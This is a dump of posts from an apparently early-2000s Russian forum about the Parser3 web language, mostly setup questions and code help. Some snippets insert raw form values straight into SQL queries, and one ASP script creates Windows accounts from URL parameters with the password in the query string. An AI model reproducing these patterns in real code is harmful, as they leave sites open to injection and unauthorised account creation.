Про остальное - типограф - не панацея. Это лишь помощь в делах. Руки еще никто не отменял.\
Сто пудов, найдется такое телефоноподобное символосочетание, которое телефоном не окажется. И тут же найдется человек, который сочтет это за ошибку. И правы окажутся все."
"24594","у пользователей MP3 тоже статистика сильная, однако PAF почему-то до сих пор поддержку id3 в Парсер не хочет встраивать, непорядок...  ;)"
"24595","в странице, которая должна принимать параметры после ? (news.html?id=666), пишите что типа\
[code]\
селект из БД\
where id=$form:id\
[/code]\
Смысл в том, что все параметры можно получить через форму. Подробно это описано в документации."
"24596","Буду читать про mod_rewrite, пробовать."
"24597","ежели хотите иметь поменьше ошибок пишите\
…field=^form:id.int(0)"
"24599","Так вот... теперь загорается страница:\
ляляля?id=1\
\
т.е. теперь нужна вторая страница, в котором должно быть прописано новое содержание?\
\
Как мне сделать теперь так, что бы в открывшийся ссылке появлялся и новый текст?"
"24600","то есть, его [i]мозилла[/i] посылает, а [i]не сервер[/i]. Так что можно делать анализ запросов на выявление этого заголовка --- если он присутствует, то лучше отменять заголовок Expires. :-) \
\
З.Ы. Просто как-то долго форум грузится, так что хотел убедиться, что всё пучком. ;-)"
"24602","да, действительно.\
\
хочется сделать единый движок как для концелярской мути так и для нефтяных насосов .. следовательно => объединенный вариант, как Eugene предложил оптимальней всего.\
\
спасибо, что грамотно отговорил, всю корзинув куках держать :)"
"24607","Типа \
next --- следующее сообщение в цепочке, \
last --- следующая цепочка, и т.д."
"24608","Почему koi-8r -- родная кодировка для MySQL?\
Вообще-то, и в NT-шной линейке Виндов, и в последних Линуксах \"родная\" кодировка -- именно Unicode.\
Абстракция данных -- это очень хорошо, однако можно придумать вовсе не теоретические примеры, когда, в случае небольшого изменения, винегрет из кодировок может послужить темой для основательного, как сказал бы А. Лукашенко, \"перетрахивания\" этих самых абстрагированных данных, причем работа эта довольно трудоемкая и чреватая ошибками.\
\
Но, собственно, это все неважно, потому что желание хранить и писать в utf-8 -- это [i]мое[/i] желание (ну не хочу я привязываться к стандартам двадцатилетней давности!) и никто не может мне это запретить :-)\
Повторно предлагается не развивать далее тему :-)\
Спасибо!"
"24609","http://crimnet.invex.ru/scroller/text/http://crimnet.invex.ru/scroller/text/\
особенно в конце."
"24611","Теперь пользователь видит, что я и хотел, но код, по-моему, ужасен. Комментарии принимаются:\
\
#вычленяем номер новости в value\
^form:fields.foreach[field;value]{}\
\
#отбираем из базы нужную новость.\
^if(def $value){\
^connect[$connect_string]{ \
   $emo_ok[^table::sql{select \
       news_id, date, header, text  \
   from \
      emo_news  \
   where\
      news_id=$value\
   }]\
^emo_ok.menu{ \
         <b>$emo_ok.date $emo_ok.header $emo_ok.text</a><br>        \
      }[<br>] \
   }      \
}\
\
#это заглавная странца со списком новостей\
^if(!def $value){\
 \
#опять надо выбирать?\
^connect[$connect_string]{ \
   $emo_ok[^table::sql{select \
       news_id, date, header, text  \
   from \
      emo_news  \
   }]\
\
 \
#выводим заголовки\
^emo_ok.menu{ \
#а вот и ссылка...\
         <b>$emo_ok.date <a href=\"./?id=$emo_ok.news_id\">$emo_ok.header</a><br>        \
      }[<br>] \
   }\
\
}"
"24612","Только сегодня пошел глубже в сайт альфы и понял, что вы имеет в виду. -))) Конечно, мне тоже уже захотелось. И мы дальше пойдем: будет не только по месяцам, но и каждая новость будет в раздел свой складываться.\
\
Посему вопрос: это надо что - столько директорий создавать ? или что такое modrewrite (ссылку на доку что ли дайте... pls)."
"24614","Я с ним на прошлой неделе мучился (http://IvanBobov.ru), если будут затыки могу свои примеры прислать."
"24616","Берегите чистоту кода вашего и помыслы ваши да не обратяться к тегам парсеропротивным!\
\
Для таких вещей достаточно сторонних библиотек.."
"24618","универсальных, которые бы подходили для всего на свете, конечно нет.\
\
НО, можно разработать такие решения, которые с наименьшими изменнеиями применимы для очень многих задач.\
\
или так: которые применимы для подавляющего большинства обычных практических задач."
"24619","и про CGI тоже.\
про Apache тоже.\
\
вы похоже, не действуете, как написано в документации в абзаце «что делать дальше» в уроке «[url=\"http://www.parser.ru/docs/lang/lesson6.htm\"]Работаем с XML[/url]»."
"24621","может проще (и правильнее) так:\
$value(^form:id.int(0))\
\
ибо ваш код будет по разному работать с query:\
?id=1&a=2 \
и\
?a=2&id=1 \
\
соответственно:\
^if(!def $value){…} -> ^if(!$value){…}\
\
там где выбираются все новости надо что-то сделать если их будет много... например ввести ограничение в запросе:\
[code]\
^connect[$connect_string]{ \
  $emo_ok[^table::sql{\
    SELECT \
      news_id,\
      date,\
      header,\
      text\
    FROM \
      emo_news\
  }[$.limit(25)]]\
}\
[/code]\
ну так естественно в самом простом случае, в более правильном наверное надо или реализовывать постраничкую навигацию или фильтровать по датам..."
"24623","расспишите мне пожалуйста подробно как настроить Parser как интепретатор скриптов на комп ОП Windows 98SE RUS\
Если нетрудно, поэтапно!\
\
PS:на форуме подходящего не нашёл, а вдокуметации уделено очень мало и непонятно!\
PPS:Если можно пусть поможет самый опытно, который это уже делал\
                                              Заранее благодарен"
"24624","/ http://www.spearance.ru/parser3/apache/\
/ www.dklab.ru\
/ Поиск по форуму - все есть."
"24627","вы плохо искали, тема обсуждалась не раз"
"24628","по-моему, тема уже обсуждалась.\
\
сам не могу, читал только спецификацию."
"24630","Доброго времени суток.\
Когда-то я сделал сайт на парсере-2.\
Сейчас я переделываю этот сайт на парсере-3 и столкнулся вот с какой проблемой.\
Из .html (из формы) передаются данные в .asp. Аsp, на основании этих данных, происводит создание юзера.\
На 2 парсере (старый сайт) все работает прекрасно. Пробую на 3-не проходит.\
Что я могу не так делать?"
"24631","что и как передается, было бы хорошо увидеть пример вашего кода"
"24634","http://www.parser.ru/forum/?id=24051"
"24635","Ключевые слова: XML, XSLT, DOM"
"24636","Ставил parser3isapi.dll, библиотеки XML, и все по инструкции (Что может быть проще? не спорю...), но! блин! index.html не показывает, а показывает asp встроенные, как только не удалял. Может кто мне тупому разжует установку парсера на сервер ИИС5.0 под виндой 2000 или хр 6.0? плиз.....заранее премного благодарен."
"24637","К делу, т.к. новости в базе, выводятся, открываются, но:\
\
1. как записать в переменную $about(^field.about:?????) строчку из url вида: /news/?about=lalala (где lalala уже НЕ ЧИСЛО)\
\
2. будем отбирать новости по году/месяцу/неделе/тематике: это мне все в одной странице скрипт писать или разбить как-то? вообще шаблом-то вывода одинаковый, как его не писать каждый раз в коде?"
"24638","Я так понял, страница одна? т.е. просто пользователь видит всякие там пути, а код в одной странице.\
\
я посмотрел сайт, думаю, будем изучать, но позже. а пример, если не сложно, пришлите, покопаемся..."
"24639","В конструкцию вида: <xsl:value-of select=\"round(fid[@id='VOLUME']*100div#\"/> вместо # вставлять максимальное значение fid[@id='VOLUME'], если это набор чисел? Может кто-то знает."
"24640","Я написал в настройках Parser:\
\
@auto[]\
#source/client charsets \
$request:charset[windows-1251] \
$response:charset[windows-1251] \
$response:content-type[ \
   $.value[text/html] \
   $.charset[$response:charset] \
] \
\
Просто хотел настроить кодировку, чтоб работал метод uppercase (или как он там называется). Но Parser выдает ошибку \"Charset unknown windows-1251\". Что он не знает кодировку windows-1251? Помогите, кто знает."
"24641","опишите ПОДРОБНО где у вас лежит парсер, где находится конфигурационный auto.p, где находятся файлы с кодировками, где находятся файлы библиотек sql и что именно написано в конфигурационном auto.p\
\
у вас по каким-то причинам не подключились файлы с таблицами перекодировок."
"24642","а с почтой тоже не было проблем?\
у меня все заработало отлично, но при отправке почты ошибка:\
\
Parser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster key, to change sendmail you should reconfigure and recompie it\
\
форум облазил, у всех проблема реашется путем провреки настроек и путей,\
/usr/sbin/sendmail запускается отлично, однако почта не отправляется"
"24643","На Р2\
    ^macro[redirect;adduser.asp?user=^form[user]&pass=^form[pass]&desc=^mangle[^form[desc]]&back=/info.html?user=^form[user]]\
и сам макрос\
@redirect[url]\
 ^header[refresh;0^;url=$url]\
\
На Р3\
	$response:location[/adduser.asp?user=$form:user&pass=$form:pass&desc=$form:desc&back=users.html]\
\
И сам asp\
<%\
 Dim Comp\
 Dim Group\
 Dim User\
\
 Set Comp = GetObject(\"WinNT://PALATA, computer\")\
 Set Group = GetObject(\"WinNT://PALATA/GroupIn,group\")\
 Set User = Comp.Create(\"User\", Request.QueryString(\"user\"))\
\
 User.Description = Request.QueryString(\"desc\")\
 User.SetPassword(Request.QueryString(\"pass\")) \
 User.setinfo\
\
 Response.Redirect(Request.QueryString(\"back\"))\
%>"
"24644","потому и не сделал, что увидел неоднозначности и ни разу не видел реализаций этого..."
"24645","Много чего поменял оставив прежднюю функциональность.\
Добавил коментарии.\
Организовал обработку и вывод ошибок.\
\
короче кому надо, вот:\
http://spearance.tura.ru/parser3/scroller1/"
"24646","тогда вопросы типа:\
[quot]\
как записать в переменную $about(^field.about:?????) строчку из url вида: /news/?about=lalala (где lalala уже НЕ ЧИСЛО)\
[/quot]\
во первых не будут вызывать у присутствующих встречные вопросы (что такое field и почему отфонаря расставлены точки и двоеточия?) а во вторых — они сами отпадут...\
\
а насчет разбивать/не разбивать - это личные пристрастия каждого. я не разбиваю, делаю в одном документе."
"24647","...Чорт, намного понятней стало спасибо..."
"24649","Поставил Денвер на локальную машину.\
Результат:\
Parser не работает, на тестовой странице Parsera написано не\
2*2=4, а \
2*2=^eval[]"
"24650","то абсолютно как угодно. Хотите - весь сайт на одной страничке, а пользователь будет видеть структуру директорий, хотите -- просто \"причесать\" урлы - тоже можно, хотите чтобы ваши html пользователь видел как htm -- тоже... Ну и до бесконечности."
"24651","есть ли у Вас файл \\home\\localhost\\www\\Test\\parser3\\.htaccess и что в нём?\
\
Надеюсь, Вы запускаете http://localhost/Test/parser3/index.html ?"
"24652","у пользователя видно: site.ru/news/2002/article1-1.htm\
\
у вас есть:  site.ru/very/long/path/to/that/shit.html?year=2002&id=1&oncemoreshit=1&ext=htm\
\
Вот я такое использовал примерно. Но это 3% возможностей."
"24653","# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files>"
"24654","Вы запускаете http://localhost/Test/parser3/index.html ?"
"24655","# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
Order allow,deny \
Deny from all \
</Files>"
"24659","Я использую Base_Parser_2003-12-17_a1.3.27_p4.3.0_m3.23.53_pma2.3.0_p311.exe под WinXP - всё работает.\
\
Может попробовать качнуть другой дистрибутив с http://dklab.ru/chicken/web/dis/Base_Parser/ ?\
\
Если есть возможность, также попробуйте установить на другой машине.\
\
Если не поможет - forum.dklab.ru"
"24660","Иначе location не сработает.\
\
Да и разница налицо - в P2 refresh, а в P3 - location, а это разные заголовки."
"24662","Поставил parser3.ехе (3.0.8)\
Прописал по Вашему совету имя сервера и заработало.\
Спасибо."
"24663","Цитата из доки -\
http://www.mysite.ru/news/article.html?year=2000&month=05&day=27?thisText \
\
Тогда:\
$form:qtail \
вернет: \
thisText \
\
У меня url\
http://mysite/zzz.html?word=slovo?3\
а $form:qtail ничего не возвращает.\
Может какие параметры должны быть?\
На форуме искал, нашел 2 темы, но ..... :("
"24664","На Win 98SE, давно правда, но запускал. Что еще посоветовать - не знаю. Из разряда шаманства: переставить ОС (или установить другую)."
"24665","Пожалуйста покажите \"на пальцах\" как пользоваться транслитировщиком и примера http://www.parser.ru/forum/?id=8412\
\
Например есть форма:\
\
<form method=\"post\">\
<textarea name=\"text\"></textarea>\
<br>\
<input type=\"submit\">\
</form>\
\
и при нажатии кнопки \"Подача запроса\", транслитированный текст должен появиться в окне."
"24668","Да! Парсер ведет себя нетривиально с \"висячими\" пробелами в конце строки. Пока разгреб эти грабли, столько шишек набил! Было бы лучше, если парсер сам отрезал (игнорировал) такие пробелы в ключевых словах типа @CLASS, @USE и т.п.\
Судя по сообщениям я не одинок в изучении этих граблей. Надеюсь, в следующей версии это учтут разработчики."
"24669","ПРоблема такая:\
\
connect to smtp.domain.ru:25 failed\
\
существует только в Денвере (парсер 3.1.1), указание переменной $.SMTP не помогает. Не нахожу даже файл, в котором был бы этот домен.ру прописан..."
"24670","вынес в класс и выложил в [url=\"/examples/mscroller/\"]примеры[/url] скроллер, который используется на этом сайте…\
\
он попроще будет, но мне хватает :)\
\
совсем краткое описание в примерах. небольшие комментарии в классе."
"24671","а в $request:query все что надо имеется?"
"24673","начиная с первого ? и второй ? включительно.\
указываю\
$request:query\
печатается запрос\
$form:qtail\
ничего не печатается.\
может $form:qtail присваивать какой-либо переменной?"
"24674","У меня IIS. Я ставил 3.1.1, но он не встал."
"24677","Поставил Денвер на локальную машину.\
XML на Parsere отрабатывает, а первый урок не пашет.\
PS: в .htaccess всё путём"
"24679","А какой у вас за почтовый сервер установлен?\
Вот я долго мучался с сендмайлом, пока не проичитал, что Парсер не поддерживает \"отладочную заглушку\" для sendmail, которая имеется в Денвере, поэтому на свой компьютер я установил CourierMailServer который можно скачать с http://courierms.narod.ru , настраиваешь в auto.p $MAIL[$.SMTP[localhost]] тоже самое в почтовике (смтп и поп3 на локалхост) - может это вам поможет?"
"24680","Денвер на самом деле не особо... я это уже понял.\
Вот закончу с экзаменами, форматну жесткий диск и поставлю себе отдельно апачи, мускл, парсер, сендмыло и тд...\
\
Я это не про первый урок, а просто так.\
\
на самом деле нужно разобраться в коде, и самый непонятный код будет работать, я это понял!!! нужно только желание и всё такое...\
\
ps. простите за мой постинг, я после этого института совсем дураком сделаюсь :("
"24681","Что это за файл, и как сделать так, чтобы он либо не появлялся вовсе, или уменьшить его размеры до минимума."
"24683","можно ли с помощью парсера сделать перерисовку части уже загруженной странички?"
"24685","буду делать скрипт\
спасибо."
"24688","Обратите внимание на это, при попытке скачать класс (ссылка http://spearance.tura.ru/parser3/scroller/text/download.html ) : \
/home/spearance/htdocs/parser3/scroller1/text/scroller.zip\
read failed: No such file or directory (2), actual filename '/home/spearance/htdocs/parser3/scroller1/text/scroller.zip'\
/home/spearance/htdocs/parser3/scroller/text/download.html(1:27) \
--------------------------------------------------------------------------------\
load /home/spearance/htdocs/parser3/scroller/text/download.html(1:27)"
"24689","Поставил последнюю версию Денвера, но Parser не работает(точнее XML отрабатывает, а 1 урок не делается, появляется ^navigation[])\
Так что мне делать?\
Я не web-программист и не кодер и поэтому, если можно, объясните на общедоступном языке.\
\
ps:в .htaccess всё нормально!"
"24690","еще раз:\
0.0) здесь НЕТ телепатов.\
0) читать доку!\
1) STFF(Search This F... Forum)\
2) листинг вашего .htaccess\
3) листинги файлов index.html и auto.p"
"24692","^mail:send[\
$.SMTP[localhost] \
далее все прочее...\
\
Та же фигня!"
"24693","пробовали заглянуть в конфигурационный auto.p поставляемый с win версией?"
"24694","Мне надо в навигации показать, где на сайте располагается пользователь. И чтобы пользователь нажав на название предыдущего раздела мог к нему перейти. Так сделано на многих сайтах.\
Так вот вопрос: Как заставить делать это Парсер в автоматическом режиме, чтоб мне не пришлось на каждой странице писать это(с ума сойдешь!)?\
\
Надо сделать примерно так:\
Главная \\ Автор \\ Харуки Мураками \\ Принцессе, которой больше нет \
\
Главная \\ Раздел \\ Подраздел \\ Подподраздел \\ Место, где мы сейчас."
"24695","не надо писать ^mail:send[$.SMTP[localhost] !!!\
\
$MAIL[$.SMTP[localhost]] надо прописать в главном auto.p !!!\
\
Еще нужно установит этот сервер http://courierms.narod.ru/"
"24696","В документации всё подробно описано:\
\
Файл parser3_wrapper.exe в данной директории НЕ является непосредственно\
интерпретатором Parser, он лишь выполняет переадресацию на \"настоящий\"\
процессор: \\usr\\local\\parser3\\parser3.exe. Это позволяет легко устанавливать\
\"копию\" Parser на другой виртуальный хост, не производя копирования больших\
файловю.\
\
Впрочем, вы можете использоваться и одной копией Parser сразу на всех \
виртуальных хостах, ибо в соответствии с настройками Apache по умолчанию\
директория /cgi-glob/ является ОБЩЕЙ для всех хостов. За дополнительной \
информацией обращайтесь к /usr/local/apache/conf/httpd.conf.\
\
Если вы хотите изменить какие-то настройки, специфичные для своего \
сайта, создайте файл auto.p в директории документов хоста и \
укажите их там.\
\
Если вы хотите установить отдельную копию Parser-а на другой виртуальный \
хост, Вам необходимо скопировать в cgi-директорию хоста лишь один файл -\
parser3_wrapper.exe (остальные можно не трогать). Кроме того, в файле \
.htaccess хоста нужно указать команды:\
\
# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files>"
"24697","Это почти разработка сайта и просто так мало кто станет придумывать это за вас.\
Я думаю тут только подскажут, а не расскажут как воплотить ту или иную идею."
"24698","наберите в строке поиска «хлебные крошки» или «breadcrumbs» или «строка навигации».\
\
вот еще тут то что нужно(идея) http://www.egoroff.spb.ru/portfolio/10.html"
"24699","Не работает у меня авторизация!!! вот, что написано в парсер.лог:\
[Sat Dec 27 22:51:29 2003] /_auth_setpwd.html: z:/home/sugrob.ru/www/classes/sql.p(46:28): 'auth' class is undefined [parser.runtime]\
\
класс auth.p , mysql.p и sql.p положил в каталог classes, создал базу, но не получается ничего :(\
\
может напишите как должен выглядить auto.p ?"
"24700","а вот когда додумаешься то кайф полнейший :-) \
\
маленький совет.\
как у меня получилось\
\
ничего не получалось и я решил спросить на форуме, но здесь не любят риторических вопросов без исходников и логики как все делал.\
Ну я и начал идтить по-шагово:\
открыл ворд и каждый шаг начал записывать с целью предьявить форуму и вдруг после последнего шага открываю сайт а там навигация работает :-) \
\
сделай также - помогает :-)"
"24701","Я ввожу правильный логинб правильный парольб но он меня не переадресовывает! Почему?"
"24703","Не могу сообразить...\
У меня есть форма поиска с возможностью выбора одного варианта из\
трех:\
  <td><input type=\"radio\" name=\"radiobutton\" checked value=\"1\"></td>\
  <td class=rad>выбор 1</td>\
  <td><input type=\"radio\" name=\"radiobutton\" value=\"2\"></td>\
  <td class=rad>выбор 2</td>\
  <td><input type=\"radio\" name=\"radiobutton\" value=\"3\"></td>\
  <td class=rad>выбор 3</td>\
\
Я хочу сделать, чтобы в зависимости от варианта выбора запроса\
назначался обработчик этого запроса, пишу так:\
           $tip_zapros[^if(def $form:radiobutton){$form:radiobutton}{не определен тип поиска}]\
                ^if($tip_zapros eq 1){$kuda_forma[result.html]}\
                ^if($tip_zapros eq 2){$kuda_forma[www.domain.ru/result2.html]}\
                ^if($tip_zapros eq 3){$kuda_forma[result3.html]}\
\
и соответственно вставляю переменную $kuda_forma в установки формы\
                 <form name=\"common\" method=\"post\" action=\"$kuda_forma\">\
\
Но так не работает! Подскажите, можно ли так выбирать обработчика\
запроса. Если нет, то может какой другой способ, например, все запросы\
отправлять в один файл, а дальше этот файл бы определял обработчика.\
Только учтите, что один из обработчиков находится на другом домене.\
\
Всем спасибо за помощь"
"24704","Когда документация и примеры не помогают, я по прошествии двух дней опять спрашиваю. Имеем в строке:\
\
/?type=red&nav=model\
\
Как занести ТОЛЬКО слово \"model\" в переменную \"$value\"??? Напишите синтаксис, пожалуйста: $value(^form:nav.чтодальше)?\
\
p.s. пример с form:fields.foreach не предлагать."
"24706","Спасибо за ответ, но не хочет он записывать мое =model в $form:nav. :-( Вопрос остается открытым."
"24708","Вопрос закрыт. ;-)"
"24710","Потому как в подключении ничего сложного нет. Спасибо, за это Мише.\
У меня возникла только одна проблема с подключением, был не очень свежий lib.p, но собственно решилась она просто."
"24711","[code]\
$tip_zapros[^if(def $form:radiobutton){$form:radiobutton}{не определен тип поиска}]\
^if($tip_zapros eq 1){$kuda_forma[result.html]}\
^if($tip_zapros eq 2){$kuda_forma[www.domain.ru/result2.html]}\
^if($tip_zapros eq 3){$kuda_forma[result3.html]}\
[/code]\
\
1. Не лишним будет проверить форму на число .int(0)\
2. Вместо 3х ^if поставить ^switch, и код короче и читается легче.\
3. Зачем повторно передавать данные, просто определите все три обработчика как опреаторы или статические методы, и вызывайте прямо здесь же.\
[code]\
^if(def $form:radiobutton){\
^switch(^form:radiobutton.int(0)){\
^case(1){^обработчик_1[]}\
^case(2){^обработчик_2[]}\
^case(3){^обработчик_3[]}\
^case[DEFAULT]{нефиг посылать кривые запросы}\
}{\
не определен тип поиска\
}\
[/code]"
"24713","свойства сайта\
вкладка documents\
список default documents, кнопка [add...]\
index.html, кнопка [OK]\
кнопка [OK]"
"24714","обсуждался вопрос."
"24715","он их ругает.\
\
в сообщении об ошибке подробно и понятно написано что именно не так.\
\
синтаксис у parser строгий."
"24716",";)"
"24717","1. Чем отличается Парсер от (других) веб-движков, например от metadot?\
2. Перспективно (оправдано) ли использование Парсера в больших проектах, например таких, как refer.ru?"
"24719","Сегодня, при попытке создать такую дату\
[code]\
$todate[^date::create(2003;12;29)]\
[/code]\
Мне написали в лог\
\
[code]\
blah-blah: 'create' invalid datetime [<no type>]\
[/code]\
\
Получается, что нельзя создать дату из прошлого?"
"24720","Если я правильно понял, использование любого движка в большом проекте противопоказано.\
Насчет чтения доки... утомило, тут больше совета хочется услышать.\
Опыта работы с движками нет, а задачи есть.\
Требуется выбрать движок, и с помощью него (на нем) написать несколько проектов (может с refer.ru я и зогнул, но с масштабами equipnet.ru точно).\
Поэтому прошу совета (рекомендации) по технологии (именно с использованием веб-движка)\
зарание спасибо"
"24721","Как подписать отправляемое Парсером письмо ПГП ключиком?"
"24722","что Парсер нельзя назвать веб-движком в общепринятом понятии этого термина.\
Движками обычно называют уже готовые портальные решения, а Парсер - это ЯЗЫК ПРОГРАММИРОВАНИЯ."
"24723","Не главное, что как называть.\
Я понимаю, что Парсер облегчит создание сайтов\
Главные требования:\
1. повторное использование кода в последующих проектах\
2. относительно низкая ресурсоёмкость\
3. конечно высокая надежность\
4. какя-никакая поддержка\
5. хорошая документация\
С пунктами 4 и 5, как я понял, все ок.\
\
Ну и, опять повторюсь, есть ли смысл использовать Парсер в больших (млин) проектах, или стоит каждый писать с нуля? Просто дело в том, что написание собственного движка (у нас здесь) неприемлемо.\
Вот и возникла задача найти и использовать существующий."
"24724","А все же, как именно?"
"24725","Может лучше инструкцию нормальную написать по синтаксису? как в разных книжках по языкам программирования, а то тяжело из \"уроков\" вытаскивать информацию."
"24727","можно двумя способами решить, Javasript или повторная пересылка данных... по-мне второе хуже."
"24728","А заодно и описание ошибок. документация - сильная вещь, если написать правильно"
"24729","Безусловно, стоит каждый большой проект с нуля писать. При этом нужно стойко бороться с желанием организовать повторное использование кода (или написать собственный движок). Парсер в этом случае использовать крайне не рекомендуется - он объектно-ориентированный, имеет встроенную поддержку XML и прочие полезные фичи, поэтому на борьбу с повторным использованием кода при написании с нуля каждого большого проекта придется тратить неоправданно много дополнительных ресурсов. \
Нет, ну серьезно, совершенно непонятно, что Вас интересует на самом деле ? Парсер - это язык программирования, как выше уже говорили, а не конструктор для сборки сайтов. Он отличается от традиционных ПХП и Перла как раз тем, что позволяет хорошо организовать повторное использование кода и использовать подходы шаблонов проектирования (что повышает надежность ПО). А ресурсоемкость зависит от задач и от того, кто кодирует. Выбор языка реализации - в общем то дело вкуса. Никакой истины в конечной инстанции Вы тут не найдете, о преимуществах или недостатках Парсера перед альтернативами спорить абсолютно ни к чему. Читайте доку в части объектов и работы с XML и делайте выводы."
"24730","если повторяется, пришлите\
1. версию parser\
2. платформу\
3. bug.html"
"24731","и как потом запустить .sh скрипт (см. документацию по parser)"
"24732","с просьбой почитать соответствующую страницу в документации по parser, он поймёт."
"24733","какое конкретно сообщение об ошибке непонятно?"
"24735","Читал. Не всегда понятно написано. Трудно найти, то, что ищешь, если не запомнил, где видел (или не видел)"
"24736","парсер ломается на попытке получить \"далекую\" дату.\
^date::create[2050-01-01]\
\
Можно ли это как-то обойти?"
"24737","в .chm и online по ним есть удобный поиск\
в .pdf они напечатаны в конце"
"24738","пока в ближайших планах менять ситуацию не стоИт"
"24739","Та версия была собрана под линуксом из CVS в Июле"
"24740","в доке написано(\"Использование Parser в качестве интерпретатора скриптов\"), что надо записать интепретатор Parser^а и написать в командной строке параметор имя строки.\
Вопрос:\
Что за файл этот интепретатор Parser?\
И в какой командной строке и что там надо записать?\
 Заранее БЛАГОДАРЕН!"
"24741","Вот такая ошибка:\
select id, date, time, rooms, full_info, price, type, area from flats where rooms=0 AND sale_now= 1 AND area= Alekseevka OR type= vse \
Unknown column 'Alekseevka' in 'where clause'\
/bhome/part2/02/demolution/www/object/auto.p(42:19) \
--------------------------------------------------------------------------------\
sql /bhome/part2/02/demolution/www/object/auto.p(42:19) \
connect /bhome/part2/02/demolution/www/object/auto.p(41:2) \
object /bhome/part2/02/demolution/www/object/index.html(13:10) \
\
Страница вызывается по ссылке\
<A HREF=\"${start_uri}object/?area=Alekseevka\">\
\
Уточняется зона\
$area[^if(def $form:area){\
   $form:area\
}{\
   anapa\
}]\
Переводится на русский для дальнейшего отображения\
^switch[$area]{\
   ^case[Anapa]{$area_rus[Анапе]}\
   ^case[Krasnodar]{$area_rus[Краснодаре]}\
   ^case[Anapskaya]{$area_rus[ст. Анапской (пригород Анапы)]}\
   ^case[Alekseevka]{$area_rus[Новой Алексеевке (пригород Анапы)]}\
   ^case[Vityazevo]{$area_rus[п. Витязево (пригород Анапы)]}\
   ^case[Krasniy]{$area_rus[х. Красном (Анапский район)]}\
   ^case[Voskresenskiy]{$area_rus[п. Воскресенском (Анапский район)]}\
   ^case[Su-Pseh]{$area_rus[с. Су-Псех (пригород Анапы)]}\
   ^case[Raznokol]{$area_rus[с. М.Разнокол (Анапский район)]}\
Выбираются Поля заданной зоны\
^connect[$connect_string]{\
   $flats[^table::sql{select\
       id, date, time, rooms, full_info, price, type, area\
   from\
      flats\
   where\
      rooms=$rooms AND\
      sale_now=$sale_now AND\
      area=$area OR\
      type=$type\
   }]\
\
Что делать?"
"24745","Дело в том, что большая дата действительно необходима, т.к. в базе данных иногда хранятся большие значения, т.е. больше, чем 01.01.2038. При попытке получить значение, которое больше, чем указанное, парсер злобно ругается об ошибке. Что при этом отображать на экране неизвестно."
"24746","Ошибку выдавать перестал, но выбирать из базы тоже отказывается. Типа нет таких объетов. Ни по одному условию.\
Я тут заметил: если вставить куда-нить ^throw[debug;=$area=], то выводится напр. не =Anapa= а = Anapa = Это нормально? И соответственно оператор ^switch[$area] тоже не находит соответствия."
"24747","Как правильно записать сравнение, чтобы\
/object/ и /object/?rooms=1&type=kvartira результатом было true. Т.е. я хочу сравнивать строки до определенного символа. Идея в том, что все подразделы будут оформлены в стиле раздела."
"24748","Тема: def. Проверка определенности объекта \
\
в последнем примере:\
Важно: для проверки «содержит ли переменная код» и «определен ли метод» используйте оператор is, а не def. Таким образом. ^if(def $hash.delete){-}{в hash нет элемента «delete»}. \
\
судя по всему, там вместо def должен быть is"
"24750","... просто вывести дату из базы, то можно просто отформатировать ее средствами SQL-сервера прямо в запросе и показать пользователю.\
\
[code]\
    select  \
      DATE_FORMAT(date, '%d.%m') as tdate, \
      TIME_FORMAT(time, '%H:%i') as ttime\
    from ...\
[/code]"
"24752","вот тут:\
[code]\
#очень много лишних whitespace\
$area[^if(def $form:area){\
$form:area\
}{\
anapa\
}]\
\
#лучше\
$area[^if(def $form:area){$form:area}{anapa}]\
\
#или даже так. http://www.parser.ru/examples/lib/\
$area[^default[$form:area;anapa]]\
\
[/code]"
"24753","При упоминании is логичнее было бы дать пример именно по is, a указанный пример поместить выше, а не после этой ремарки. Хотя пример по is можно здесь и не давать.\
По поводу составления документации советую посмотреть на структуру MANов в *nix или MSDN от Microsoft."
"24755","Как построить такой выбор:\
Если условие Anapa, то в sql-запрросе ..where area='Anapa'\
Если условие Vasya, то в sql-запрросе ..where area='Vasya'\
..\
Если условие Petya, то в sql-запрросе ..where area='Любое значение' (и Vasya, и Anapa, и Petya..)\
Обрабатывается строкой\
$area[^if(def $form:area){$form:area}{Anapa}]\
и только одним запросом.\
\
Так вот, что нужно вписать вместо Любое значение? (В принципе, его вообще может не быть в базе)"
"24756","если вы не понимаете совершенно ничего из предложения - незачем просить объяснить вам его. вы все равно не поймете.\
\
интерпретатор Parser это под win parser3.exe (особо одаренные также могут этот файл переименовать) что такое коммандная строка тут вам объяснять никто не будет. зайдите в какой-нить книжный магазин и купите книжку \"IBM PC для чайников\" или что-нить в этом роде. но при таких вопросах программировать вам еще рано.\
\
извините, но последующие ваши сообщения с подобными вопросами я буду удалять из форума."
"24758","из такой последовательности: 467 234 123 103 98 34 1, первое значение т.е. 467. Подскажите."
"24759","(\\d+)"
"24760","Вот запрос:\
^connect[$connect_string]{\
   $flats[^table::sql{select\
       id, date,... \
   from\
      flats\
   where\
      rooms='$rooms' AND\
      sale_now='$sale_now' AND\
      area='$area' AND\
      type='$type'\
   }]\
\
Да вот суть в том, что когда я задаю перед запросом $area явно (<A HREF=\"${start_uri}object/?type=dom&area=Anapa\">), то все нормально, но мне нужно, чтобы в одном из случаев $area приняло одновременно и Anapa, и Vasya и т.д., т.е. некое значение 'любые'\
Можно создать для каждого условия свой запрос, в котором для требуемой ситуации $area не будет вообще, но у меня ПОКА 4 переменные, для каждой ПОКА от 3 до 9 значений. Представляете размер кода?\
Вот я и хочу в одном запросе учесть все условия выборки."
"24763","можно конечно найти пробельный символ и вырезать от начала и до него, но что если пробел будед и в начале тоже?\
\
предложеный Смалексом вариант на мой взглад самый универсальный. и его стоит отвергать только если критично быстродействие данной операции (например она выполняется несколько тысяч раз...)"
"24764","нет ничего сложного в модификации запроса. размер кода при правильном подходе не будет большим."
"24765","класс xnode\
метод select. XPath поиск узлов\
приводится пример:\
[code]\
